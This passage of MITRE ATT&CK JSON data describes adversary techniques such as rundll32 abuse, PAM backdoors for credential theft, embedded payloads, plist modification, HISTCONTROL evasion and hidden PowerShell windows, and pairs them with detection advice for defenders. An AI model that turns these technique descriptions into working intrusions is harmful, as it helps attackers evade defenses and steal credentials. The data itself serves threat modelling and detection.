activity.\n\nCommand arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"2.3","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","File: File Metadata","Module: Module Load"],"x_mitre_defense_bypassed":["Digital Certificate Validation","Application control","Anti-virus"],"type":"attack-pattern","id":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","created":"2020-01-23T18:03:46.248Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1218/011","external_id":"T1218.011"},{"source_name":"rundll32.exe defense evasion","description":"Ariel silver. (2022, February 1). Defense Evasion Techniques. Retrieved April 8, 2022.","url":"https://www.cynet.com/attack-techniques-hands-on/defense-evasion-techniques/"},{"source_name":"Attackify Rundll32.exe Obscurity","description":"Attackify. (n.d.). Rundll32.exe Obscurity. Retrieved August 23, 2021.","url":"https://www.attackify.com/blog/rundll32_execution_order/"},{"source_name":"This is Security Command Line Confusion","description":"B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.","url":"https://www.stormshield.com/news/poweliks-command-line-confusion/"},{"source_name":"Github NoRunDll","description":"gtworek. (2019, December 17). NoRunDll. Retrieved August 23, 2021.","url":"https://github.com/gtworek/PSBits/tree/master/NoRunDll"},{"source_name":"Trend Micro CPL","description":"Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-04-15T16:08:50.706Z","name":"Container and Resource Discovery","description":"Adversaries may attempt to discover containers and other resources that are available within a containers environment. Other resources may include images, deployments, pods, nodes, and other information such as the status of a cluster.\n\nThese resources can be viewed within web applications such as the Kubernetes dashboard or can be queried via the Docker and Kubernetes APIs.(Citation: Docker API)(Citation: Kubernetes API) In Docker, logs may leak information about the environment, such as the environment’s configuration, which services are available, and what cloud provider the victim may be utilizing. The discovery of these resources may inform an adversary’s next steps in the environment, such as how to perform lateral movement and which methods to utilize for execution. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Vishwas Manral, McAfee","Center for Threat-Informed Defense (CTID)","Yossi Weizman, Azure Defender Research Team"],"x_mitre_deprecated":false,"x_mitre_detection":"Establish centralized logging for the activity of container and Kubernetes cluster components. This can be done by deploying logging agents on Kubernetes nodes and retrieving logs from sidecar proxies for application pods to detect malicious activity at the cluster level.\n\nMonitor logs for actions that could be taken to gather information about container infrastructure, including the use of discovery API calls by new or unexpected users. Monitor account activity logs to see actions performed and activity associated with the Kubernetes dashboard and other web applications. ","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["Containers"],"x_mitre_version":"1.1","x_mitre_data_sources":["Pod: Pod Enumeration","Container: Container Enumeration"],"type":"attack-pattern","id":"attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336","created":"2021-03-31T14:26:00.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1613","external_id":"T1613"},{"source_name":"Docker API","description":"Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved March 31, 2021.","url":"https://docs.docker.com/engine/api/v1.41/"},{"source_name":"Kubernetes API","description":"The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved March 29, 2021.","url":"https://kubernetes.io/docs/concepts/overview/kubernetes-api/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-07-01T20:24:16.562Z","name":"Serverless","description":"Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them.\n\nOnce acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Script Abuse 2021) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["Awake Security"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.1","x_mitre_data_sources":["Internet Scan: Response Content"],"type":"attack-pattern","id":"attack-pattern--04a5a8ab-3bc8-4c83-95c9-55274a89786d","created":"2022-07-08T12:39:29.684Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1583/007","external_id":"T1583.007"},{"source_name":"AWS Lambda Redirector","description":"Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved July 8, 2022.","url":"https://blog.xpnsec.com/aws-lambda-redirector/"},{"source_name":"Detecting Command & Control in the Cloud","description":"Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved July 8, 2022.","url":"https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/"},{"source_name":"BlackWater Malware Cloudflare Workers","description":"Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses Cloudflare Workers for C2 Communication. Retrieved July 8, 2022.","url":"https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/"},{"source_name":"GWS Apps Script Abuse 2021","description":"Sergiu Gatlan. (2021, February 18). Hackers abuse Google Apps Script to steal credit cards, bypass CSP. Retrieved July 1, 2024.","url":"https://www.bleepingcomputer.com/news/security/hackers-abuse-google-apps-script-to-steal-credit-cards-bypass-csp/#google_vignette"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1143","url":"https://attack.mitre.org/techniques/T1143"},{"source_name":"PowerShell About 2019","url":"https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1","description":"Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019."},{"url":"https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/","description":"Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.","source_name":"Antiquated Mac Malware"}],"modified":"2020-03-13T21:03:18.600Z","name":"Hidden Window","description":"Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\n### Windows\nThere are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)\n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1161","url":"https://attack.mitre.org/techniques/T1161"},{"url":"https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf","description":"Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017.","source_name":"Writing Bad Malware for OSX"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.","source_name":"Malware Persistence on OS X"}],"modified":"2021-03-30T00:51:58.008Z","name":"LC_LOAD_DYLIB Addition","description":"Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time (Citation: Malware Persistence on OS X).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"modified":"2023-03-03T00:31:33.071Z","name":"Standard Encoding","description":"Adversaries may encode data with a standard data encoding system to make the content of command and control traffic more difficult to detect. Command and control (C2) information can be encoded using a standard data encoding system that adheres to existing protocol specifications. Common data encoding schemes include ASCII, Unicode, hexadecimal, Base64, and MIME.(Citation: Wikipedia Binary-to-text Encoding)(Citation: Wikipedia Character Encoding) Some data encoding systems may also result in data compression, such as gzip.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_is_subtechnique":true,"x_mitre_deprecated":false,"x_mitre_domains":["enterprise-attack"],"x_mitre_version":"1.0","x_mitre_data_sources":["Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","created":"2020-03-14T23:36:52.095Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1132/001","external_id":"T1132.001"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"},{"source_name":"Wikipedia Binary-to-text Encoding","description":"Wikipedia. (2016, December 26). Binary-to-text encoding. Retrieved March 1, 2017.","url":"https://en.wikipedia.org/wiki/Binary-to-text_encoding"},{"source_name":"Wikipedia Character Encoding","description":"Wikipedia. (2017, February 19). Character Encoding. Retrieved March 1, 2017.","url":"https://en.wikipedia.org/wiki/Character_encoding"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-09-29T21:14:57.263Z","name":"Embedded Payloads","description":"Adversaries may embed payloads within other files to conceal malicious content from defenses. Otherwise seemingly benign files (such as scripts and executables) may be abused to carry and obfuscate malicious payloads and content. In some cases, embedded payloads may also enable adversaries to [Subvert Trust Controls](https://attack.mitre.org/techniques/T1553) by not impacting execution controls such as digital signatures and notarization tickets.(Citation: Sentinel Labs) \n\nAdversaries may embed payloads in various file formats to hide payloads.(Citation: Microsoft Learn) This is similar to [Steganography](https://attack.mitre.org/techniques/T1027/003), though does not involve weaving malicious content into specific bytes and patterns related to legitimate digital media formats.(Citation: GitHub PSImage) \n\nFor example, adversaries have been observed embedding payloads within or as an overlay of an otherwise benign binary.(Citation: Securelist Dtrack2) Adversaries have also been observed nesting payloads (such as executables and run-only scripts) inside a file of the same format.(Citation: SentinelLabs reversing run-only applescripts 2021) \n\nEmbedded content may also be used as [Process Injection](https://attack.mitre.org/techniques/T1055) payloads used to infect benign system processes.(Citation: Trend Micro) These embedded then injected payloads may be used as part of the modules of malware designed to provide specific features such as encrypting C2 communications in support of an orchestrator module. For example, an embedded module may be injected into default browsers, allowing adversaries to then communicate via the network.(Citation: Malware Analysis Report ComRAT)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Nick Cairns, @grotezinfosec"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["macOS","Windows","Linux"],"x_mitre_version":"1.1","x_mitre_data_sources":["File: File Creation","File: File Metadata"],"x_mitre_system_requirements":["User"],"type":"attack-pattern","id":"attack-pattern--0533ab23-3f7d-463f-9bd8-634d27e4dee1","created":"2022-09-30T18:50:14.351Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1027/009","external_id":"T1027.009"},{"source_name":"GitHub PSImage","description":"Barrett Adams . (n.d.). Invoke-PSImage . Retrieved September 30, 2022.","url":"https://github.com/peewpw/Invoke-PSImage"},{"source_name":"Malware Analysis Report ComRAT","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303A) MAR-10310246-2.v1 – PowerShell Script: ComRAT. Retrieved September 30, 2022.","url":"https://www.cisa.gov/uscert/ncas/analysis-reports/ar20-303a"},{"source_name":"Trend Micro","description":"Karen Victor. (2020, May 18). Reflective Loading Runs Netwalker Fileless Ransomware. Retrieved September 30, 2022.","url":"https://www.trendmicro.com/en_us/research/20/e/netwalker-fileless-ransomware-injected-via-reflective-loading.html"},{"source_name":"Securelist Dtrack2","description":"KONSTANTIN ZYKOV. (2019, September 23). Hello! My name is Dtrack. Retrieved September 30, 2022.","url":"https://securelist.com/my-name-is-dtrack/93338/"},{"source_name":"Microsoft Learn","description":"Microsoft. (2021, April 6). 2.5 ExtraData. Retrieved September 30, 2022.","url":"https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/c41e062d-f764-4f13-bd4f-ea812ab9a4d1"},{"source_name":"SentinelLabs reversing run-only applescripts 2021","description":"Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 29, 2022.","url":"https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"},{"source_name":"Sentinel Labs","description":"Phil Stokes. (2021, January 11). FADE DEAD | Adventures in Reversing Malicious Run-Only AppleScripts. Retrieved September 30, 2022.","url":"https://www.sentinelone.com/labs/fade-dead-adventures-in-reversing-malicious-run-only-applescripts/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--06780952-177c-4247-b978-79c357fb311f","created":"2017-12-14T16:46:06.044Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1150","url":"https://attack.mitre.org/techniques/T1150"},{"source_name":"Sofacy Komplex Trojan","url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017."}],"x_mitre_deprecated":false,"revoked":true,"description":"Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UTF-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). \nAdversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism. (Citation: Sofacy Komplex Trojan)","modified":"2022-04-22T18:49:20.520Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Plist Modification","x_mitre_detection":"File system monitoring can determine if plist files are being modified. Users should not have permission to modify these in most cases. Some software tools like \"Knock Knock\" can detect persistence mechanisms and point to the specific files that are being referenced. This can be helpful to see what is actually being executed.\n\nMonitor process execution for abnormal process execution resulting from modified plist files. Monitor utilities used to modify plist files or that take a plist file as an argument, which may indicate suspicious activity.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_is_subtechnique":false,"x_mitre_permissions_required":["User","Administrator"],"x_mitre_defense_bypassed":["Application whitelisting","Process whitelisting","Whitelisting by file name or path"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-08-21T16:19:55.082Z","name":"Pluggable Authentication Modules","description":"Adversaries may modify pluggable authentication modules (PAM) to access user credentials or enable otherwise unwarranted access to accounts. PAM is a modular system of configuration files, libraries, and executable files which guide authentication for many services. The most common authentication module is pam_unix.so, which retrieves, sets, and verifies account authentication information in /etc/passwd and /etc/shadow.(Citation: Apple PAM)(Citation: Man Pam_Unix)(Citation: Red Hat PAM)\n\nAdversaries may modify components of the PAM system to create backdoors. PAM components, such as pam_unix.so, can be patched to accept arbitrary adversary supplied values as legitimate credentials.(Citation: PAM Backdoor)\n\nMalicious modifications to the PAM system may also be abused to steal credentials. Adversaries may infect PAM resources with code to harvest user credentials, since the values exchanged with PAM components may be plain-text since PAM does not store passwords.(Citation: PAM Creds)(Citation: Apple PAM)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_contributors":["Scott Knight, @sdotknight, VMware Carbon Black","George Allen, VMware Carbon Black"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor PAM configuration and module paths (ex: /etc/pam.d/) for changes. Use system-integrity tools such as AIDE and monitoring tools such as auditd to monitor PAM files.\n\nLook for suspicious account behavior across systems that share accounts, either user, admin, or service accounts. Examples: one account logged into multiple systems simultaneously; multiple accounts logged into the same machine simultaneously; accounts logged in at odd times (ex: when the user is not present) or outside of business hours. Activity may be from interactive login sessions or process ownership from accounts being used to execute binaries on a remote system as a particular account. Correlate other security systems with login information (e.g., a user has an active login session but has not entered the building or does not have VPN access).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS"],"x_mitre_version":"2.1","x_mitre_data_sources":["File: File Modification","Logon Session: Logon Session Creation"],"type":"attack-pattern","id":"attack-pattern--06c00069-771a-4d57-8ef5-d3718c1a8771","created":"2020-06-26T04:01:09.648Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1556/003","external_id":"T1556.003"},{"source_name":"Apple PAM","description":"Apple. (2011, May 11). PAM - Pluggable Authentication Modules. Retrieved June 25, 2020.","url":"https://opensource.apple.com/source/dovecot/dovecot-239/dovecot/doc/wiki/PasswordDatabase.PAM.txt"},{"source_name":"Man Pam_Unix","description":"die.net. (n.d.). pam_unix(8) - Linux man page. Retrieved June 25, 2020.","url":"https://linux.die.net/man/8/pam_unix"},{"source_name":"PAM Creds","description":"Fernández, J. M. (2018, June 27). Exfiltrating credentials via PAM backdoors & DNS requests. Retrieved June 26, 2020.","url":"https://x-c3ll.github.io/posts/PAM-backdoor-DNS/"},{"source_name":"Red Hat PAM","description":"Red Hat. (n.d.). CHAPTER 2. USING PLUGGABLE AUTHENTICATION MODULES (PAM). Retrieved June 25, 2020.","url":"https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/managing_smart_cards/pluggable_authentication_modules"},{"source_name":"PAM Backdoor","description":"zephrax. (2018, August 3). linux-pam-backdoor. Retrieved June 25, 2020.","url":"https://github.com/zephrax/linux-pam-backdoor"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["IaaS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Netskope"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--0708ae90-d0eb-4938-9a76-d0fc94f6eec1","type":"attack-pattern","created":"2020-06-16T18:42:20.734Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1578.004","url":"https://attack.mitre.org/techniques/T1578/004"},{"source_name":"Tech Republic - Restore AWS Snapshots","url":"https://www.techrepublic.com/blog/the-enterprise-cloud/backing-up-and-restoring-snapshots-on-amazon-ec2-machines/","description":"Hardiman, N.. (2012, March 20). Backing up and restoring snapshots on Amazon EC2 machines. Retrieved October 8, 2019."},{"source_name":"Google - Restore Cloud Snapshot","url":"https://cloud.google.com/compute/docs/disks/restore-and-delete-snapshots","description":"Google. (2019, October 7). Restoring and deleting persistent disk snapshots. Retrieved October 8, 2019."}],"modified":"2021-03-08T10:33:02.128Z","name":"Revert Cloud Instance","description":"An adversary may revert changes made to a cloud instance after they have performed malicious activities in attempt to evade detection and remove evidence of their presence. In highly virtualized environments, such as cloud-based infrastructure, this may be accomplished by restoring virtual machine (VM) or data storage snapshots through the cloud management dashboard or cloud APIs.\n\nAnother variation of this technique is to utilize temporary storage attached to the compute instance. Most cloud providers provide various types of storage including persistent, local, and/or ephemeral, with the ephemeral types often reset upon stop/restart of the VM.(Citation: Tech Republic - Restore AWS Snapshots)(Citation: Google - Restore Cloud Snapshot)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Establish centralized logging of instance activity, which can be used to monitor and review system events even after reverting to a snapshot, rolling back changes, or changing persistence/type of storage. Monitor specifically for events related to snapshots and rollbacks and VM configuration changes, that are occurring outside of normal activity. To reduce false positives, valid change management procedures could introduce a known identifier that is logged with the change (e.g., tag or header) if supported by the cloud provider, to help distinguish valid, expected actions from malicious ones.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Instance: Instance Start","Instance: Instance Metadata","Instance: Instance Stop","Instance: Instance Modification"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--086952c4-5b90-4185-b573-02bad8e11953","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1148","url":"https://attack.mitre.org/techniques/T1148"},{"external_id":"CAPEC-13","source_name":"capec","url":"https://capec.mitre.org/data/definitions/13.html"}],"modified":"2020-02-21T20:57:38.015Z","name":"HISTCONTROL","description":"The HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". HISTCONTROL can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Correlating a user session with a distinct lack of new commands in their .bash_history can be a clue to suspicious behavior. Additionally, users checking or changing their HISTCONTROL environment variable is also suspicious.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Log analysis","Host forensic analysis"],"x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"modified":"2024-10-03T19:35:07.269Z","name":"Gather Victim Host Information","description":"Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).\n\nAdversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary’s follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.(Citation: TrellixQakbot)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_contributors":["Sam Seabrook, Duke Energy"],"x_mitre_deprecated":false,"x_mitre_detection":"Internet scanners may be used to look for patterns associated with malicious content designed to collect host information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.2","x_mitre_data_sources":["Internet Scan: Response 